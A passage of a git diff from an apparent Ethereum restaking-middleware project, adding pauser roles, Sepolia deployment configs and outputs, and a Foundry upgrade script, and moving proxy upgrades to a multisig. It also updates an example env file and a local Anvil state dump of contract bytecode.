"0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", + "pauser": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", "initalPausedStatus": 0 }, "minimumStakes": [ diff --git a/contracts/script/deploy/config/devnet/batcher-payment-service.devnet.config.json b/contracts/script/deploy/config/devnet/batcher-payment-service.devnet.config.json index 425f86060..6119c73f4 100644 --- a/contracts/script/deploy/config/devnet/batcher-payment-service.devnet.config.json +++ b/contracts/script/deploy/config/devnet/batcher-payment-service.devnet.config.json @@ -2,7 +2,7 @@ "address": { "batcherWallet": "0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc", "batcherPrivateKey": "0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba", - "alignedLayerServiceManager": "0x1613beB3B2C4f22Ee086B2b38C1476A3cE7f78E8" + "alignedLayerServiceManager": "0x851356ae760d987E095750cCeb3bC6014560891C" }, "amounts": { "gasForAggregator": "300000", diff --git a/contracts/script/deploy/config/holesky/aligned.holesky.config.json b/contracts/script/deploy/config/holesky/aligned.holesky.config.json index df04a482b..39f9e3ea4 100644 --- a/contracts/script/deploy/config/holesky/aligned.holesky.config.json +++ b/contracts/script/deploy/config/holesky/aligned.holesky.config.json @@ -9,6 +9,7 @@ "churner": "", "ejector": "", "deployer": "", + "pauser": "", "initalPausedStatus": 0 }, "minimumStakes": [ diff --git a/contracts/script/deploy/config/sepolia/aligned.sepolia.config.json b/contracts/script/deploy/config/sepolia/aligned.sepolia.config.json new file mode 100644 index 000000000..570baa5cd --- /dev/null +++ b/contracts/script/deploy/config/sepolia/aligned.sepolia.config.json @@ -0,0 +1,33 @@ +{ + "chainInfo": { + "chainId": 11155111 + }, + "permissions" : { + "owner": "", + "aggregator": "", + "upgrader": "", + "churner": "", + "ejector": "", + "deployer": "", + "initalPausedStatus": 0 + }, + "minimumStakes": [ + 1 + ], + "strategyWeights": [ + [ + { + "0_strategy": "0x80528D6e9A2BAbFc766965E0E26d5aB08D9CFaF9", + "1_multiplier": 1e+18 + } + ] + ], + "operatorSetParams": [ + { + "0_maxOperatorCount": 200, + "1_kickBIPsOfOperatorStake": 11000, + "2_kickBIPsOfTotalStake": 50 + } + ], + "uri": "" + } diff --git a/contracts/script/deploy/config/sepolia/batcher-payment-service.sepolia.config.json b/contracts/script/deploy/config/sepolia/batcher-payment-service.sepolia.config.json new file mode 100644 index 000000000..0766c8072 --- /dev/null +++ b/contracts/script/deploy/config/sepolia/batcher-payment-service.sepolia.config.json @@ -0,0 +1,12 @@ +{ + "address": { + "batcherWallet": "", + "alignedLayerServiceManager": "" + }, + "permissions": { + "owner": "" + }, + "eip712": { + "noncedVerificationDataTypeHash": "0x41817b5c5b0c3dcda70ccb43ba175fdcd7e586f9e0484422a2c6bba678fdf4a3" + } +} diff --git a/contracts/script/output/devnet/alignedlayer_deployment_output.json b/contracts/script/output/devnet/alignedlayer_deployment_output.json index 6ec939d60..4fb315743 100644 --- a/contracts/script/output/devnet/alignedlayer_deployment_output.json +++ b/contracts/script/output/devnet/alignedlayer_deployment_output.json @@ -1,20 +1,21 @@ { "addresses": { "alignedLayerProxyAdmin": "0x9E545E3C0baAB3E08CdfD552C960A1050f373042", - "alignedLayerServiceManager": "0x1613beB3B2C4f22Ee086B2b38C1476A3cE7f78E8", - "alignedLayerServiceManagerImplementation": "0x809d550fca64d94Bd9F66E60752A544199cfAC3D", - "blsApkRegistry": "0x998abeb3E57409262aE5b751f60747921B33613E", - "blsApkRegistryImplementation": "0x8f86403A4DE0BB5791fa46B8e795C547942fE4Cf", - "indexRegistry": "0xf5059a5D33d5853360D16C683c16e67980206f36", - "indexRegistryImplementation": "0x70e0bA845a1A0F2DA3359C97E0285013525FFC49", - "operatorStateRetriever": "0xb7278A61aa25c888815aFC32Ad3cC52fF24fE575", - "registryCoordinator": "0x851356ae760d987E095750cCeb3bC6014560891C", - "registryCoordinatorImplementation": "0x5eb3Bc0a489C5A8288765d2336659EbCA68FCd00", - "serviceManagerRouter": "0xa82fF9aFd8f496c3d6ac40E2a0F282E47488CFc9", - "stakeRegistry": "0x95401dc811bb5740090279Ba06cfA8fcF6113778", - "stakeRegistryImplementation": "0x99bbA657f2BbC93c02D617f8bA121cB8Fc104Acf", - "batcherPaymentService": "0x7969c5eD335650692Bc04293B07F5BF2e7A673C0", - "batcherPaymentServiceImplementation": "0x2bdCC0de6bE1f7D2ee689a0342D76F52E8EFABa3" + "alignedLayerServiceManager": "0x851356ae760d987E095750cCeb3bC6014560891C", + "alignedLayerServiceManagerImplementation": "0x4c5859f0F772848b2D91F1D83E2Fe57935348029", + "blsApkRegistry": "0x70e0bA845a1A0F2DA3359C97E0285013525FFC49", + "blsApkRegistryImplementation": "0x9d4454B023096f34B160D6B654540c56A1F81688", + "indexRegistry": "0x95401dc811bb5740090279Ba06cfA8fcF6113778", + "indexRegistryImplementation": "0x4826533B4897376654Bb4d4AD88B7faFD0C98528", + "operatorStateRetriever": "0xCD8a1C3ba11CF5ECfa6267617243239504a98d90", + "pauserRegistry": "0xa82fF9aFd8f496c3d6ac40E2a0F282E47488CFc9", + "registryCoordinator": "0xf5059a5D33d5853360D16C683c16e67980206f36", + "registryCoordinatorImplementation": "0x36C02dA8a0983159322a80FFE9F24b1acfF8B570", + "serviceManagerRouter": "0x1613beB3B2C4f22Ee086B2b38C1476A3cE7f78E8", + "stakeRegistry": "0x998abeb3E57409262aE5b751f60747921B33613E", + "stakeRegistryImplementation": "0x0E801D84Fa97b50751Dbf25036d067dCf18858bF", + "batcherPaymentService": "0x7bc06c482DEAd17c0e297aFbC32f6e63d3846650", + "batcherPaymentServiceImplementation": "0x7969c5eD335650692Bc04293B07F5BF2e7A673C0" }, "chainInfo": { "chainId": 31337, @@ -25,7 +26,7 @@ "alignedLayerChurner": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", "alignedLayerEjector": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", "alignedLayerOwner": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", - "alignedLayerUpgrader": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", - "pauserRegistry": "0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512" + "alignedLayerPauser": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", + "alignedLayerUpgrader": "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266" } } diff --git a/contracts/script/output/holesky/alignedlayer_deployment_output.json b/contracts/script/output/holesky/alignedlayer_deployment_output.json index 67a545a8d..b4baa08b4 100644 --- a/contracts/script/output/holesky/alignedlayer_deployment_output.json +++ b/contracts/script/output/holesky/alignedlayer_deployment_output.json @@ -2,7 +2,7 @@ "addresses": { "alignedLayerProxyAdmin": "0x3eb924d928c138898FC089328f840105969bD6a0", "alignedLayerServiceManager": "0x58F280BeBE9B34c9939C3C39e0890C81f163B623", - "alignedLayerServiceManagerImplementation": "0xFc572B73e61B376957BFe88fE577709b1624c6B9", + "alignedLayerServiceManagerImplementation": "0x24F764c18609D5e92fC5646Ff0725280144E644b", "blsApkRegistry": "0xD0A725d82649f9e4155D7A60B638Fe33b3F25e3b", "blsApkRegistryImplementation": "0xB05BB98a966F58aDAB8dF58350b77fF2131A3b87", "indexRegistry": "0x4A7DE0a9fBBAa4fF0270d31852B363592F68B81F", @@ -14,7 +14,7 @@ "stakeRegistry": "0x51462D5511563A0F97Bb3Ce5475E1c3905b83F4b", "stakeRegistryImplementation": "0xd1555Be14931C061E06D3CE1D1Daadc1B3c6F8c7", "batcherPaymentService": "0x815aeCA64a974297942D2Bbf034ABEe22a38A003", - "batcherPaymentServiceImplementation": "0x89ebb109f390aed920dC2B2e920743EBA1811013" + "batcherPaymentServiceImplementation": "0x07802Aa18a16E6F4d1a3411657a0f6b0a9Cb8Ea1" }, "chainInfo": { "chainId": 17000, diff --git a/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json b/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json index d6dca0cd7..a1f728aff 100644 --- a/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json +++ b/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json @@ -2,19 +2,19 @@ "addresses": { "alignedLayerProxyAdmin": "0x7262d34478f8fB496a8feDfa0fdaBD1a0401d6cD", "alignedLayerServiceManager": "0x9C5231FC88059C086Ea95712d105A2026048c39B", - "alignedLayerServiceManagerImplementation": "0x4a2040959a12e170EACeF03B2E692d57e652b20C", + "alignedLayerServiceManagerImplementation": "0x87B8a7dbA67E5015BD24e3f2e1cDf1747819365b", "blsApkRegistry": "0xEe1b6Dc663F17eC69987b6D56255a7282b358a09", "blsApkRegistryImplementation": "0x875f22C55D5363f7d1d1d63420298E89DcdB7bdF", "indexRegistry": "0xF12b82A933381391fE0e9a0270111f90FB10a810", "indexRegistryImplementation": "0x9c04146a707Bbf8E69263Ef3B6b8eCc5971b7AeD", "operatorStateRetriever": "0x3aBe0288b1088807f58146a71bC41FCDF247d30B", "registryCoordinator": "0x945821C32397A847F13C41a2C22cbE771CE2Ce2f", - "registryCoordinatorImplementation": "0xB21a788c7d5D6E3C1EC9528C17e61fc609DfE8CF", + "registryCoordinatorImplementation": "0xd7c67Ef85b634f6B1ee1032E93c483BD56CA103a", "serviceManagerRouter": "0x18F1db0D8F3Fe24AEe94bC4e64A96186d0d3A913", "stakeRegistry": "0x1b0C9b87b094d821911500F91914B1A1D2856F14", "stakeRegistryImplementation": "0x52A9e264b98fe2d53805937Bc094a981E7eB6BeE", "batcherPaymentService": "0x7577Ec4ccC1E6C529162ec8019A49C13F6DAd98b", - "batcherPaymentServiceImplementation": "0x0874cf293B81b367ab99A7884B98d6616C295cB6" + "batcherPaymentServiceImplementation": "0x230FF8F073C188732856990b070485FD1A9b1039" }, "chainInfo": { "chainId": 17000, @@ -25,6 +25,7 @@ "alignedLayerEjector": "0xE3C695b73dbe27106aF4530b152de3e57456B385", "alignedLayerOwner": "0xE3C695b73dbe27106aF4530b152de3e57456B385", "alignedLayerUpgrader": "0xE3C695b73dbe27106aF4530b152de3e57456B385", - "pauserRegistry": "0x85Ef7299F8311B25642679edBF02B62FA2212F06" + "pauserRegistry": "0x85Ef7299F8311B25642679edBF02B62FA2212F06", + "alignedLayerAggregator": "0x2855F89C56d3C94e98F61A3Dea5E9Ca0AA2FA946" } } diff --git a/contracts/script/output/sepolia/alignedlayer_deployment_output.json b/contracts/script/output/sepolia/alignedlayer_deployment_output.json new file mode 100644 index 000000000..acdbc49e3 --- /dev/null +++ b/contracts/script/output/sepolia/alignedlayer_deployment_output.json @@ -0,0 +1,31 @@ +{ + "addresses": { + "alignedLayerProxyAdmin": "0x9c50f5054784d6c5523C79c3aFA82E3184430CaC", + "alignedLayerServiceManager": "0xD0fAb108d175765f70Dd2e929b74ec107db6E0e8", + "alignedLayerServiceManagerImplementation": "0xbC86427A646540cF78c92F6C7432716460b97a06", + "blsApkRegistry": "0x9A5B215027F85319957a3a92205BFc18529d9309", + "blsApkRegistryImplementation": "0xEAE702d667bD851C9cAa59e71b23765Bea04A5aF", + "indexRegistry": "0xD316A01F902d0fDF169a53AB22daB38c06c6E60E", + "indexRegistryImplementation": "0x8009D6A252a41bc8fb648F71F3aa78d08231221d", + "operatorStateRetriever": "0xc24023c7e43Dc6A407b1B961A6602ee6d5408A75", + "registryCoordinator": "0x9C04afc13D57608a867E61BD91a10d8689B24ff8", + "registryCoordinatorImplementation": "0xFc326289eF3d5ba5E525e27530329727831E834B", + "serviceManagerRouter": "0x074c28d7ff24c06ab747e08772ed582c3b7C887e", + "stakeRegistry": "0x1888568D57Cf6834d74ef62A78e7EF1ADbd55582", + "stakeRegistryImplementation": "0x05671b5B23d16B2e198729b9Ce94696780d384b9", + "batcherPaymentService": "0x4a40a9F0D29B62a2852ed893B18fAD9CfEcB14FA", + "batcherPaymentServiceImplementation": "0xc40562950D62e3DbFf881149cf07833Cd0A425A9" + }, + "chainInfo": { + "chainId": 11155111, + "deploymentBlock": 6833988 + }, + "permissions": { + "alignedLayerAggregator": "0x1380D03142156d8D9950b001A566dc5cc439dE81", + "alignedLayerChurner": "0x1380D03142156d8D9950b001A566dc5cc439dE81", + "alignedLayerEjector": "0x1380D03142156d8D9950b001A566dc5cc439dE81", + "alignedLayerOwner": "0x1380D03142156d8D9950b001A566dc5cc439dE81", + "alignedLayerUpgrader": "0x1380D03142156d8D9950b001A566dc5cc439dE81", + "pauserRegistry": "0xC2316E03d0871f667e75C62181089988Eb4DB7Db" + } +} diff --git a/contracts/script/output/sepolia/eigenlayer_deployment_output.json b/contracts/script/output/sepolia/eigenlayer_deployment_output.json new file mode 100644 index 000000000..3ded9a3c0 --- /dev/null +++ b/contracts/script/output/sepolia/eigenlayer_deployment_output.json @@ -0,0 +1,38 @@ +{ + "addresses": { + "avsDirectory": "0x2f1F293185c7b57E1E8e07B95C9f04D33418854c", + "avsDirectoryImplementation": "0x6DC4C39E3e6FC3bdbb054C6Cf87FEf8E33DBBCa9", + "baseStrategyImplementation": "0x942CfD2F80f517D6e6129277b027750D01Aa3Eb1", + "beaconOracle": "0x0000000000000000000000000000000000000000", + "delayedWithdrawalRouter": "0x02eE8752d9d6ee1B366BD04d24Bbaa3547ABc0c1", + "delayedWithdrawalRouterImplementation": "0x5FC324E99fb6db1859225C3E53b2688ce7FbF5E1", + "delegationManager": "0x7F250FA1f844Ae88eAdF919ca3a95e327B639d8F", + "delegationManagerImplementation": "0x77E8329dc5290Ef8BA61A997132316a39f731968", + "eigenLayerPauserReg": "0xC2316E03d0871f667e75C62181089988Eb4DB7Db", + "eigenLayerProxyAdmin": "0x3b9b847F251260d6681E2dF937E84Ae4Db1191e5", + "eigenPodBeacon": "0x879Fce476F58b5691a6AF29C2895e9fDF956642C", + "eigenPodImplementation": "0x953F32aE91ec538eBAD2110b3276dEDe9a886519", + "eigenPodManager": "0x1c49661c978c587d98a4dF730CfBaAeE8836d813", + "eigenPodManagerImplementation": "0xE3A2b29e35E878f24bcf46b3d53004aBD5105d99", + "emptyContract": "0xCf334DbB9bEefC53e3e9Fa0feb7319B702155408", + "rewardsCoordinator": "0x420324e8834D2bfF217319D497DDB2B221dea46C", + "rewardsCoordinatorImplementation": "0xF2Fdf5cDBd262DAE8aCF77f85fc1A7546B5FBa3D", + "slasher": "0xF953eDdb64b624FcEbb133f3D991BA05B122bEC8", + "slasherImplementation": "0xB4Fe2669dA4ee0A67E292F1f09d2b83E07C0fb26", + "strategies": { + "MOCK": "0x3eb924d928c138898FC089328f840105969bD6a0" + }, + "strategyManager": "0xAcd358E6CCdE1634A1e80F143cF467Bf40fac4BA", + "strategyManagerImplementation": "0x7A7122D7a5194217Be6181c76484dCc10E8BFf83" + }, + "chainInfo": { + "chainId": 11155111, + "deploymentBlock": 6200286 + }, + "numStrategies": 1, + "parameters": { + "executorMultisig": "0x97aEC5F28181abe5d2aD40dBe7FbaEe014529b7D", + "operationsMultisig": "0x97aEC5F28181abe5d2aD40dBe7FbaEe014529b7D", + "pauserMultisig": "0x97aEC5F28181abe5d2aD40dBe7FbaEe014529b7D" + } +} \ No newline at end of file diff --git a/contracts/script/upgrade/AlignedLayerPauserUpgrader.s.sol b/contracts/script/upgrade/AlignedLayerPauserUpgrader.s.sol new file mode 100644 index 000000000..14f99ffb9 --- /dev/null +++ b/contracts/script/upgrade/AlignedLayerPauserUpgrader.s.sol @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.12; + +import {Script} from "forge-std/Script.sol"; +import "eigenlayer-contracts/src/contracts/core/AVSDirectory.sol"; +import {RegistryCoordinator} from "eigenlayer-middleware/RegistryCoordinator.sol"; +import {StakeRegistry} from "eigenlayer-middleware/StakeRegistry.sol"; +import {IRewardsCoordinator} from "eigenlayer-contracts/src/contracts/interfaces/IRewardsCoordinator.sol"; +import {AlignedLayerServiceManager} from "src/core/AlignedLayerServiceManager.sol"; +import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; +import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; +import "forge-std/StdJson.sol"; + +contract AlignedLayerPauserUpgrader is Script { + uint256 public initialPausedStatus; + + function run( + string memory eigenLayerDeploymentFilePath, + string memory deployConfigPath, + string memory alignedLayerDeploymentFilePath + ) external returns (address, address) { + // READ JSON CONFIG DATA + string memory config_data = vm.readFile(deployConfigPath); + + string memory eigen_deployment_file = vm.readFile( + eigenLayerDeploymentFilePath + ); + + string memory aligned_deployment_file = vm.readFile( + alignedLayerDeploymentFilePath + ); + + ProxyAdmin alignedLayerProxyAdmin = ProxyAdmin( + stdJson.readAddress( + aligned_deployment_file, + ".addresses.alignedLayerProxyAdmin" + ) + ); + + RegistryCoordinator registryCoordinator = RegistryCoordinator( + stdJson.readAddress( + aligned_deployment_file, + ".addresses.registryCoordinator" + ) + ); + + AVSDirectory avsDirectory = AVSDirectory( + stdJson.readAddress( + eigen_deployment_file, + ".addresses.avsDirectory" + ) + ); + + StakeRegistry stakeRegistry = StakeRegistry( + stdJson.readAddress( + aligned_deployment_file, + ".addresses.stakeRegistry" + ) + ); + + IRewardsCoordinator rewardsCoordinator = IRewardsCoordinator( + stdJson.readAddress( + eigen_deployment_file, + ".addresses.rewardsCoordinator" + ) + ); + + IPauserRegistry pauserRegistry = IPauserRegistry( + stdJson.readAddress( + aligned_deployment_file, + ".addresses.pauserRegistry" + ) + ); + + initialPausedStatus = stdJson.readUint( + config_data, + ".permissions.initalPausedStatus" + ); + + vm.startBroadcast(); + + AlignedLayerServiceManager alignedLayerServiceManagerImplementation = new AlignedLayerServiceManager( + avsDirectory, + rewardsCoordinator, + registryCoordinator, + stakeRegistry + ); + + vm.stopBroadcast(); + vm.startBroadcast(); + + // alignedLayerServiceManager is the proxy + AlignedLayerServiceManager alignedLayerServiceManager = AlignedLayerServiceManager( + payable( + stdJson.readAddress( + aligned_deployment_file, + ".addresses.alignedLayerServiceManager" + ) + ) + ); + + vm.stopBroadcast(); + vm.startBroadcast(); + + alignedLayerProxyAdmin.upgrade( + TransparentUpgradeableProxy( + payable(address(alignedLayerServiceManager)) + ), + address(alignedLayerServiceManagerImplementation) + ); + + vm.stopBroadcast(); + vm.startBroadcast(); + + alignedLayerServiceManager.initializePauser( + pauserRegistry, + initialPausedStatus + ); + + vm.stopBroadcast(); + + return ( + address(alignedLayerServiceManager), + address(alignedLayerServiceManagerImplementation) + ); + } +} + diff --git a/contracts/script/upgrade/AlignedLayerUpgrader.s.sol b/contracts/script/upgrade/AlignedLayerUpgrader.s.sol index 71cb52dea..5f3d8522c 100644 --- a/contracts/script/upgrade/AlignedLayerUpgrader.s.sol +++ b/contracts/script/upgrade/AlignedLayerUpgrader.s.sol @@ -80,16 +80,8 @@ contract AlignedLayerUpgrader is Script { ) ); - vm.startBroadcast(); - - alignedLayerProxyAdmin.upgrade( - TransparentUpgradeableProxy( - payable(address(alignedLayerServiceManager)) - ), - address(alignedLayerServiceManagerImplementation) - ); - - vm.stopBroadcast(); + // Not link the new implementation to the proxy + // Because this must be executed in the multisig return ( address(alignedLayerServiceManager), diff --git a/contracts/script/upgrade/BLSApkRegistryUpgrader.s.sol b/contracts/script/upgrade/BLSApkRegistryUpgrader.s.sol index 9f7500053..c7f554cef 100644 --- a/contracts/script/upgrade/BLSApkRegistryUpgrader.s.sol +++ b/contracts/script/upgrade/BLSApkRegistryUpgrader.s.sol @@ -57,12 +57,8 @@ contract BLSApkRegistryUpgrader is Script { ); vm.stopBroadcast(); - vm.startBroadcast(); - alignedLayerProxyAdmin.upgrade( - blsApkRegistry, - address(blsApkRegistryImplementation) - ); - vm.stopBroadcast(); + // Not link the new implementation to the proxy + // Because this must be executed in the multisig return ( address(blsApkRegistry), diff --git a/contracts/script/upgrade/BatcherPaymentServiceUpgrader.s.sol b/contracts/script/upgrade/BatcherPaymentServiceUpgrader.s.sol index d9731bab2..850aefc94 100644 --- a/contracts/script/upgrade/BatcherPaymentServiceUpgrader.s.sol +++ b/contracts/script/upgrade/BatcherPaymentServiceUpgrader.s.sol @@ -24,8 +24,10 @@ contract BatcherPaymentServiceUpgrader is Script { ); BatcherPaymentService newBatcherPaymentServiceImplementation = new BatcherPaymentService(); - BatcherPaymentServiceProxy.upgradeToAndCall(address(newBatcherPaymentServiceImplementation), ""); + // Not link the new implementation to the proxy + // Because this must be executed in the multisig + vm.stopBroadcast(); return (address(BatcherPaymentServiceProxy), address(newBatcherPaymentServiceImplementation)); diff --git a/contracts/script/upgrade/IndexRegistryUpgrader.s.sol b/contracts/script/upgrade/IndexRegistryUpgrader.s.sol index 26124cf6f..74112b24a 100644 --- a/contracts/script/upgrade/IndexRegistryUpgrader.s.sol +++ b/contracts/script/upgrade/IndexRegistryUpgrader.s.sol @@ -53,12 +53,8 @@ contract IndexRegistryUpgrader is Script { ); vm.stopBroadcast(); - vm.startBroadcast(); - alignedLayerProxyAdmin.upgrade( - indexRegistry, - address(indexRegistryImplementation) - ); - vm.stopBroadcast(); + // Not link the new implementation to the proxy + // Because this must be executed in the multisig return ( address(indexRegistry), diff --git a/contracts/script/upgrade/RegistryCoordinatorUpgrader.s.sol b/contracts/script/upgrade/RegistryCoordinatorUpgrader.s.sol index a8a6b79f8..0fe6a6c0c 100644 --- a/contracts/script/upgrade/RegistryCoordinatorUpgrader.s.sol +++ b/contracts/script/upgrade/RegistryCoordinatorUpgrader.s.sol @@ -82,12 +82,8 @@ contract RegistryCoordinatorUpgrader is Script { ); vm.stopBroadcast(); - vm.startBroadcast(); - alignedLayerProxyAdmin.upgrade( - registryCoordinator, - address(registryCoordinatorImplementation) - ); - vm.stopBroadcast(); + // Not link the new implementation to the proxy + // Because this must be executed in the multisig return ( address(registryCoordinator), diff --git a/contracts/script/upgrade/StakeRegistryUpgrader.s.sol b/contracts/script/upgrade/StakeRegistryUpgrader.s.sol index 3012b280d..75a5c0baa 100644 --- a/contracts/script/upgrade/StakeRegistryUpgrader.s.sol +++ b/contracts/script/upgrade/StakeRegistryUpgrader.s.sol @@ -64,12 +64,8 @@ contract StakeRegistryUpgrader is Script { ); vm.stopBroadcast(); - vm.startBroadcast(); - alignedLayerProxyAdmin.upgrade( - stakeRegistry, - address(stakeRegistryImplementation) - ); - vm.stopBroadcast(); + // Not link the new implementation to the proxy + // Because this must be executed in the multisig return ( address(stakeRegistry), diff --git a/contracts/scripts/.env.example.holesky b/contracts/scripts/.env.example.holesky index 1bb8d3cd1..d252907db 100644 --- a/contracts/scripts/.env.example.holesky +++ b/contracts/scripts/.env.example.holesky @@ -1,7 +1,8 @@ RPC_URL= PRIVATE_KEY= -EXISTING_DEPLOYMENT_INFO_PATH=./script/output/holesky/Holesky_current_deployment.config.json +EXISTING_DEPLOYMENT_INFO_PATH=./script/output/holesky/eigenlayer_deployment_output.json DEPLOY_CONFIG_PATH=./script/deploy/config/holesky/aligned.holesky.config.json OUTPUT_PATH=./script/output/holesky/alignedlayer_deployment_output.json ETHERSCAN_API_KEY= BATCHER_PAYMENT_SERVICE_CONFIG_PATH=./script/deploy/config/holesky/batcher-payment-service.holesky.config.json +MULTISIG= diff --git a/contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json b/contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json index cac5b460c..db69652c9 100644 --- a/contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json +++ b/contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json @@ -1 +1 @@ -{"block":{"number":"0x10","coinbase":"0x0000000000000000000000000000000000000000","timestamp":"0x67212c16","gas_limit":"0x1c9c380","basefee":"0xa12a3ad","difficulty":"0x0","prevrandao":"0x6eb5638b6e26d20d92b32a5e721f19c02a4d568d86acbdb107df231128689247","blob_excess_gas_and_price":{"excess_blob_gas":0,"blob_gasprice":1}},"accounts":{"0x0000000000000000000000000000000000000000":{"nonce":0,"balance":"0x35e7afa","code":"0x","storage":{}},"0x0165878a594ca255338adfa4d48449f69242eb8f":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000065":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000066":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000c9":"0x94af000f6f71feb2b8401e668d95fd208038580e89d240930f90ba827aa34858","0x00000000000000000000000000000000000000000000000000000000000000cb":"0x000003e80000000000001c2018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0x09635f643e140090a9a8dcd712ed6285858cebef":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b50